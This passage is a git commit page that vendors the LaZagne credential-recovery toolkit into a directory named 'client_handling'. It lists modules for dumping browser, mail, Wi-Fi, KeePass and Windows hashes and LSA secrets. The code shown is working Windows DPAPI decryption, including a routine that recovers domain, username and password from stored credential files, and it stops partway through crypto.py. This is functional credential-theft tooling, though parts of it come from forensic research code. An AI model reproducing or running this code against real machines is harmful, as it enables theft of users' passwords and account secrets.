summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne
diff options
context:
space:
mode:
Diffstat (limited to 'foreign/client_handling/lazagne')
-rw-r--r--foreign/client_handling/lazagne/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/__init__.py1
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/blob.py139
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/credfile.py108
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/credhist.py142
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/crypto.py366
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/eater.py128
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/masterkey.py445
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/system.py38
-rw-r--r--foreign/client_handling/lazagne/config/DPAPI/vault.py489
-rw-r--r--foreign/client_handling/lazagne/config/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/config/change_privileges.py220
-rw-r--r--foreign/client_handling/lazagne/config/constant.py62
-rw-r--r--foreign/client_handling/lazagne/config/crypto/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/config/crypto/pyDes.py852
-rw-r--r--foreign/client_handling/lazagne/config/crypto/pyaes/__init__.py53
-rw-r--r--foreign/client_handling/lazagne/config/crypto/pyaes/aes.py589
-rw-r--r--foreign/client_handling/lazagne/config/crypto/pyaes/blockfeeder.py227
-rw-r--r--foreign/client_handling/lazagne/config/crypto/pyaes/util.py60
-rw-r--r--foreign/client_handling/lazagne/config/crypto/rc4.py57
-rw-r--r--foreign/client_handling/lazagne/config/dico.py503
-rw-r--r--foreign/client_handling/lazagne/config/dpapi_structure.py186
-rw-r--r--foreign/client_handling/lazagne/config/execute_cmd.py100
-rw-r--r--foreign/client_handling/lazagne/config/lib/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/Address.py111
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py66
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py296
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/LinStructures.py20
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/Locator.py96
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py226
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/OSXProcess.py174
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/Process.py13
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py167
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py312
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py190
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/__init__.py32
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/structures.py8
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/utils.py121
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/version.py6
-rw-r--r--foreign/client_handling/lazagne/config/lib/memorpy/wintools.py35
-rw-r--r--foreign/client_handling/lazagne/config/manage_modules.py172
-rw-r--r--foreign/client_handling/lazagne/config/module_info.py49
-rw-r--r--foreign/client_handling/lazagne/config/run.py261
-rw-r--r--foreign/client_handling/lazagne/config/users.py81
-rw-r--r--foreign/client_handling/lazagne/config/winstructure.py679
-rw-r--r--foreign/client_handling/lazagne/config/write_output.py350
-rw-r--r--foreign/client_handling/lazagne/softwares/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/browsers/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/browsers/chromium_based.py203
-rw-r--r--foreign/client_handling/lazagne/softwares/browsers/ie.py197
-rw-r--r--foreign/client_handling/lazagne/softwares/browsers/mozilla.py490
-rw-r--r--foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py21
-rw-r--r--foreign/client_handling/lazagne/softwares/chats/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/chats/pidgin.py28
-rw-r--r--foreign/client_handling/lazagne/softwares/chats/psi.py64
-rw-r--r--foreign/client_handling/lazagne/softwares/chats/skype.py144
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/dbvis.py79
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/postgresql.py32
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/robomongo.py101
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py106
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/squirrel.py27
-rw-r--r--foreign/client_handling/lazagne/softwares/games/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/games/galconfusion.py55
-rw-r--r--foreign/client_handling/lazagne/softwares/games/kalypsomedia.py42
-rw-r--r--foreign/client_handling/lazagne/softwares/games/roguestale.py41
-rw-r--r--foreign/client_handling/lazagne/softwares/games/turba.py55
-rw-r--r--foreign/client_handling/lazagne/softwares/git/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/git/gitforwindows.py61
-rw-r--r--foreign/client_handling/lazagne/softwares/mails/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/mails/outlook.py66
-rw-r--r--foreign/client_handling/lazagne/softwares/mails/thunderbird.py9
-rw-r--r--foreign/client_handling/lazagne/softwares/maven/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/maven/mavenrepositories.py131
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/keepass.py31
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/keethief.py3645
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py68
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py288
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py53
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py114
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py419
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py353
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/memorydump.py117
-rw-r--r--foreign/client_handling/lazagne/softwares/multimedia/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/multimedia/eyecon.py98
-rw-r--r--foreign/client_handling/lazagne/softwares/php/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/php/composer.py61
-rw-r--r--foreign/client_handling/lazagne/softwares/svn/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/svn/tortoise.py68
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py62
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py58
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py48
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/d3des.py391
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py53
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py42
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py44
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/iisapppool.py76
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py138
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py116
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py90
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py55
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py51
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py96
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/unattended.py75
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/vnc.py162
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/winscp.py129
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/wsl.py44
-rw-r--r--foreign/client_handling/lazagne/softwares/wifi/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/wifi/wifi.py97
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/autologon.py50
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/cachedump.py19
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py144
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py315
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/object.py179
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/types.py63
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py146
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py298
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py183
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py81
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/credfiles.py22
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/credman.py34
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/hashdump.py15
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py34
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/ppypykatz.py73
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/vault.py71
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/vaultfiles.py23
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/windows.py77
132 files changed, 19151 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/__init__.py b/foreign/client_handling/lazagne/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/__init__.py
diff --git a/foreign/client_handling/lazagne/config/DPAPI/__init__.py b/foreign/client_handling/lazagne/config/DPAPI/__init__.py
new file mode 100644
index 0000000..8d1c8b6
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/__init__.py
@@ -0,0 +1 @@
+
diff --git a/foreign/client_handling/lazagne/config/DPAPI/blob.py b/foreign/client_handling/lazagne/config/DPAPI/blob.py
new file mode 100644
index 0000000..6b76bc4
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/blob.py
@@ -0,0 +1,139 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+import codecs
+import traceback
+
+from .eater import DataStruct
+from . import crypto
+
+from foreign.client_handling.lazagne.config.write_output import print_debug
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.crypto.pyDes import CBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+AES_BLOCK_SIZE = 16
+
+
+class DPAPIBlob(DataStruct):
+ """Represents a DPAPI blob"""
+
+ def __init__(self, raw=None):
+ """
+ Constructs a DPAPIBlob. If raw is set, automatically calls parse().
+ """
+ self.version = None
+ self.provider = None
+ self.mkguid = None
+ self.mkversion = None
+ self.flags = None
+ self.description = None
+ self.cipherAlgo = None
+ self.keyLen = 0
+ self.hmac = None
+ self.strong = None
+ self.hashAlgo = None
+ self.hashLen = 0
+ self.cipherText = None
+ self.salt = None
+ self.blob = None
+ self.sign = None
+ self.cleartext = None
+ self.decrypted = False
+ self.signComputed = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ """Parses the given data. May raise exceptions if incorrect data are
+ given. You should not call this function yourself; DataStruct does
+
+ data is a DataStruct object.
+ Returns nothing.
+
+ """
+ self.version = data.eat("L")
+ self.provider = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B")
+
+ # For HMAC computation
+ blobStart = data.ofs
+
+ self.mkversion = data.eat("L")
+ self.mkguid = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B")
+ self.flags = data.eat("L")
+ self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8")
+ self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.keyLen = data.eat("L")
+ self.salt = data.eat_length_and_string("L")
+ self.strong = data.eat_length_and_string("L")
+ self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.hashLen = data.eat("L")
+ self.hmac = data.eat_length_and_string("L")
+ self.cipherText = data.eat_length_and_string("L")
+
+ # For HMAC computation
+ self.blob = data.raw[blobStart:data.ofs]
+ self.sign = data.eat_length_and_string("L")
+
+ def decrypt(self, masterkey, entropy=None, strongPassword=None):
+ """Try to decrypt the blob. Returns True/False
+ :rtype : bool
+ :param masterkey: decrypted masterkey value
+ :param entropy: optional entropy for decrypting the blob
+ :param strongPassword: optional password for decrypting the blob
+ """
+ for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]:
+ try:
+ sessionkey = algo(masterkey, self.salt, self.hashAlgo, entropy=entropy, strongPassword=strongPassword)
+ key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo, self.hashAlgo)
+
+ if "AES" in self.cipherAlgo.name:
+ cipher = AESModeOfOperationCBC(key[:int(self.cipherAlgo.keyLength)],
+ iv="\x00" * int(self.cipherAlgo.ivLength))
+ self.cleartext = b"".join([cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE]) for i in
+ range(0, len(self.cipherText), AES_BLOCK_SIZE)])
+ else:
+ cipher = self.cipherAlgo.module(key, CBC, "\x00" * self.cipherAlgo.ivLength)
+ self.cleartext = cipher.decrypt(self.cipherText)
+
+ padding = char_to_int(self.cleartext[-1])
+ if padding <= self.cipherAlgo.blockSize:
+ self.cleartext = self.cleartext[:-padding]
+
+ # check against provided HMAC
+ self.signComputed = algo(masterkey, self.hmac, self.hashAlgo, entropy=entropy, verifBlob=self.blob)
+ self.decrypted = self.signComputed == self.sign
+
+ if self.decrypted:
+ return True
+ except Exception:
+ print_debug('DEBUG', traceback.format_exc())
+
+ self.decrypted = False
+ return self.decrypted
+
+ def decrypt_encrypted_blob(self, mkp, entropy_hex=False):
+ """
+ This function should be called to decrypt a dpapi blob.
+ It will find the associcated masterkey used to decrypt the blob.
+ :param mkp: masterkey pool object (MasterKeyPool)
+ """
+ mks = mkp.get_master_keys(self.mkguid)
+ if not mks:
+ return False, 'Unable to find MK for blob {mk_guid}'.format(mk_guid=self.mkguid)
+
+ entropy = None
+ if entropy_hex:
+ entropy = codecs.decode(entropy_hex, 'hex')
+
+ for mk in mks:
+ if mk.decrypted:
+ self.decrypt(mk.get_key(), entropy=entropy)
+ if self.decrypted:
+ return True, self.cleartext
+
+ return False, 'Unable to decrypt master key'
diff --git a/foreign/client_handling/lazagne/config/DPAPI/credfile.py b/foreign/client_handling/lazagne/config/DPAPI/credfile.py
new file mode 100644
index 0000000..98bda22
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/credfile.py
@@ -0,0 +1,108 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+
+from .blob import DPAPIBlob
+from .eater import DataStruct
+
+
+class CredentialDecryptedHeader(DataStruct):
+ """
+ Header of the structure returned once the blob has been decrypted
+ Header of the CredentialDecrypted class
+ """
+ def __init__(self, raw=None):
+ self.total_size = None
+ self.unknown1 = None
+ self.unknown2 = None
+ self.unknown3 = None
+ self.last_update = None
+ self.unknown4 = None
+ self.unk_type = None
+ self.unk_blocks = None
+ self.unknown5 = None
+ self.unknown6 = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.total_size = data.eat("L")
+ self.unknown1 = data.eat("L")
+ self.unknown2 = data.eat("L")
+ self.unknown3 = data.eat("L")
+ self.last_update = data.eat("Q")
+ self.unknown4 = data.eat("L")
+ self.unk_type = data.eat("L")
+ self.unk_blocks = data.eat("L")
+ self.unknown5 = data.eat("L")
+ self.unknown6 = data.eat("L")
+
+
+class CredentialDecrypted(DataStruct):
+ """
+ Structure returned once the blob has been decrypted
+ """
+ def __init__(self, raw=None):
+ self.header_size = None
+ self.header = None
+ self.domain = None
+ self.unk_string1 = None
+ self.unk_string2 = None
+ self.unk_string3 = None
+ self.username = None
+ self.password = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.header_size = data.eat("L")
+ if self.header_size > 0:
+ self.header = CredentialDecryptedHeader()
+ self.header.parse(data.eat_sub(self.header_size - 4))
+ self.domain = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.unk_string1 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.unk_string2 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.unk_string3 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.username = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.password = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+
+
+class CredFile(DataStruct):
+ """
+ Decrypt Credentials Files stored on ...\\Microsoft\\Credentials\\...
+ """
+ def __init__(self, raw=None):
+ self.unknown1 = None
+ self.blob_size = None
+ self.unknown2 = None
+ self.blob = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.unknown1 = data.eat("L")
+ self.blob_size = data.eat("L")
+ self.unknown2 = data.eat("L")
+ if self.blob_size > 0:
+ self.blob = DPAPIBlob()
+ self.blob.parse(data.eat_sub(self.blob_size))
+
+ def decrypt(self, mkp, credfile):
+ ok, msg = self.blob.decrypt_encrypted_blob(mkp=mkp)
+ if ok:
+ cred_dec = CredentialDecrypted(msg)
+ if cred_dec.header.unk_type == 3:
+ return True, {
+ 'File': credfile,
+ 'Domain': cred_dec.domain,
+ 'Username': cred_dec.username,
+ 'Password': cred_dec.password,
+ }
+ elif cred_dec.header.unk_type == 2:
+ return False, 'System credential type'
+ else:
+ return False, 'Unknown CREDENTIAL type, please report.\nCreds: {creds}'.format(creds=cred_dec)
+ else:
+ return ok, msg
diff --git a/foreign/client_handling/lazagne/config/DPAPI/credhist.py b/foreign/client_handling/lazagne/config/DPAPI/credhist.py
new file mode 100644
index 0000000..2a1d8d7
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/credhist.py
@@ -0,0 +1,142 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+
+import struct
+import hashlib
+
+from . import crypto
+from .eater import DataStruct
+
+
+class RPC_SID(DataStruct):
+ """
+ Represents a RPC_SID structure. See MSDN for documentation
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.idAuth = None
+ self.subAuth = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("B")
+ n = data.eat("B")
+ self.idAuth = struct.unpack(">Q", "\0\0" + data.eat("6s"))[0]
+ self.subAuth = data.eat("%dL" % n)
+
+ def __str__(self):
+ s = ["S-%d-%d" % (self.version, self.idAuth)]
+ s += ["%d" % x for x in self.subAuth]
+ return "-".join(s)
+
+
+class CredhistEntry(DataStruct):
+
+ def __init__(self, raw=None):
+ self.pwdhash = None
+ self.hmac = None
+ self.revision = None
+ self.hashAlgo = None
+ self.rounds = None
+ self.cipherAlgo = None
+ self.shaHashLen = None
+ self.ntHashLen = None
+ self.iv = None
+ self.userSID = None
+ self.encrypted = None
+ self.revision2 = None
+ self.guid = None
+ self.ntlm = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.revision = data.eat("L")
+ self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.rounds = data.eat("L")
+ data.eat("L")
+ self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.shaHashLen = data.eat("L")
+ self.ntHashLen = data.eat("L")
+ self.iv = data.eat("16s")
+
+ self.userSID = RPC_SID()
+ self.userSID.parse(data)
+
+ n = self.shaHashLen + self.ntHashLen
+ n += -n % self.cipherAlgo.blockSize
+ self.encrypted = data.eat_string(n)
+
+ self.revision2 = data.eat("L")
+ self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
+
+ def decrypt_with_hash(self, pwdhash):
+ """
+ Decrypts this credhist entry with the given user's password hash.
+ Simply computes the encryption key with the given hash
+ then calls self.decrypt_with_key() to finish the decryption.
+ """
+ self.decrypt_with_key(crypto.derivePwdHash(pwdhash, str(self.userSID)))
+
+ def decrypt_with_key(self, enckey):
+ """
+ Decrypts this credhist entry using the given encryption key.
+ """
+ cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, enckey,
+ self.iv, self.rounds)
+ self.pwdhash = cleartxt[:self.shaHashLen]
+ self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip("\x00")
+ if len(self.ntlm) != 16:
+ self.ntlm = None
+
+
+class CredHistFile(DataStruct):
+
+ def __init__(self, raw=None):
+ self.entries_list = []
+ self.entries = {}
+ self.valid = False
+ self.footmagic = None
+ self.curr_guid = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ while True:
+ l = data.pop("L")
+ if l == 0:
+ break
+ self.addEntry(data.pop_string(l - 4))
+
+ self.footmagic = data.eat("L")
+ self.curr_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
+
+ def addEntry(self, blob):
+ """
+ Creates a CredhistEntry object with blob then adds it to the store
+ """
+ x = CredhistEntry(blob)
+ self.entries[x.guid] = x
+ self.entries_list.append(x)
+
+ def decrypt_with_hash(self, pwdhash):
+ """
+ Try to decrypt each entry with the given hash
+ """
+
+ if self.valid:
+ return
+
+ for entry in self.entries_list:
+ entry.decrypt_with_hash(pwdhash)
+
+ def decrypt_with_password(self, password):
+ """
+ Decrypts this credhist entry with the given user's password.
+ Simply computes the password hash then calls self.decrypt_with_hash()
+ """
+ self.decrypt_with_hash(hashlib.sha1(password.encode("UTF-16LE")).digest())
diff --git a/foreign/client_handling/lazagne/config/DPAPI/crypto.py b/foreign/client_handling/lazagne/config/DPAPI/crypto.py
new file mode 100644
index 0000000..121a921
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/crypto.py
@@ -0,0 +1,366 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+#############################################################################
+# ##
+# This file is part of DPAPIck ##
+# Windows DPAPI decryption & forensic toolkit ##
+# ##
+# ##
+# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ##
+# This document is the property of Cassidian SAS, it may not be copied or ##
+# circulated without prior licence ##
+# ##
+# Author: Jean-Michel Picod <jmichel.p@gmail.com> ##
+# ##
+# This program is distributed under GPLv3 licence (see LICENCE.txt) ##
+# ##
+#############################################################################
+
+import array
+import hashlib
+import hmac
+import struct
+import sys
+
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC, AESModeOfOperationECB
+from foreign.client_handling.lazagne.config.crypto.pyDes import triple_des, des, ECB, CBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte
+
+
+try:
+ xrange
+except NameError:
+ xrange = range
+
+AES_BLOCK_SIZE = 16
+
+
+class CryptoAlgo(object):
+ """
+ This class is used to wrap Microsoft algorithm IDs with M2Crypto
+ """
+
+ class Algo(object):
+ def __init__(self, data):
+ self.data = data
+
+ def __getattr__(self, attr):
+ if attr in self.data:
+ return self.data[attr]
+ raise AttributeError(attr)
+
+ _crypto_data = {}
+
+ @classmethod
+ def add_algo(cls, algnum, **kargs):
+ cls._crypto_data[algnum] = cls.Algo(kargs)
+ if 'name' in kargs:
+ kargs['ID'] = algnum
+ cls._crypto_data[kargs['name']] = cls.Algo(kargs)
+
+ @classmethod
+ def get_algo(cls, algnum):
+ return cls._crypto_data[algnum]
+
+ def __init__(self, i):
+ self.algnum = i
+ self.algo = CryptoAlgo.get_algo(i)
+
+ name = property(lambda self: self.algo.name)
+ module = property(lambda self: self.algo.module)
+ keyLength = property(lambda self: self.algo.keyLength / 8)
+ ivLength = property(lambda self: self.algo.IVLength / 8)
+ blockSize = property(lambda self: self.algo.blockLength / 8)
+ digestLength = property(lambda self: self.algo.digestLength / 8)
+
+ def do_fixup_key(self, key):
+ try:
+ return self.algo.keyFixup.__call__(key)
+ except AttributeError:
+ return key
+
+ def __repr__(self):
+ return "%s [%#x]" % (self.algo.name, self.algnum)
+
+
+def des_set_odd_parity(key):
+ _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19,
+ 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37,
+ 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55,
+ 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73,
+ 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91,
+ 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107,
+ 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121,
+ 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134,
+ 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148,
+ 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162,
+ 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176,
+ 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191,
+ 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205,
+ 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218,
+ 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233,
+ 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247,
+ 247, 248, 248, 251, 251, 253, 253, 254, 254]
+ tmp = array.array("B")
+ tmp.fromstring(key)
+ for i, v in enumerate(tmp):
+ tmp[i] = _lut[v]
+ return tmp.tostring()
+
+
+CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, blockLength=64, IVLength=64, module=des,
+ keyFixup=des_set_odd_parity)
+CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, blockLength=64, IVLength=64, module=triple_des,
+ keyFixup=des_set_odd_parity)
+CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, blockLength=128, IVLength=128)
+CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, blockLength=128, IVLength=128)
+CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, blockLength=128, IVLength=128)
+CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, blockLength=128, IVLength=128)
+CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512)
+CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512)
+CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512)
+CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512)
+CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024)
+CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024)
+
+
+def CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None):
+ """
+ Computes the decryption key for XP DPAPI blob, given the masterkey and optional information.
+
+ This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC.
+ Instead of updating the inner pad, we update the outer pad...
+ This algorithm is also used when checking the HMAC for integrity after decryption
+
+ :param masterkey: decrypted masterkey (should be 64 bytes long)
+ :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check)
+ :param entropy: this is the optional entropy from CryptProtectData() API
+ :param strongPassword: optional password used for decryption or the blob itself
+ :param verifBlob: optional encrypted blob used for integrity check
+ :returns: decryption key
+ :rtype : str
+ """
+ if len(masterkey) > 20:
+ masterkey = hashlib.sha1(masterkey).digest()
+
+ masterkey += b"\x00" * int(hashAlgo.blockSize)
+ ipad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize)))
+ opad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize)))
+ digest = hashlib.new(hashAlgo.name)
+ digest.update(ipad)
+ digest.update(nonce)
+ tmp = digest.digest()
+ digest = hashlib.new(hashAlgo.name)
+ digest.update(opad)
+ digest.update(tmp)
+ if entropy is not None:
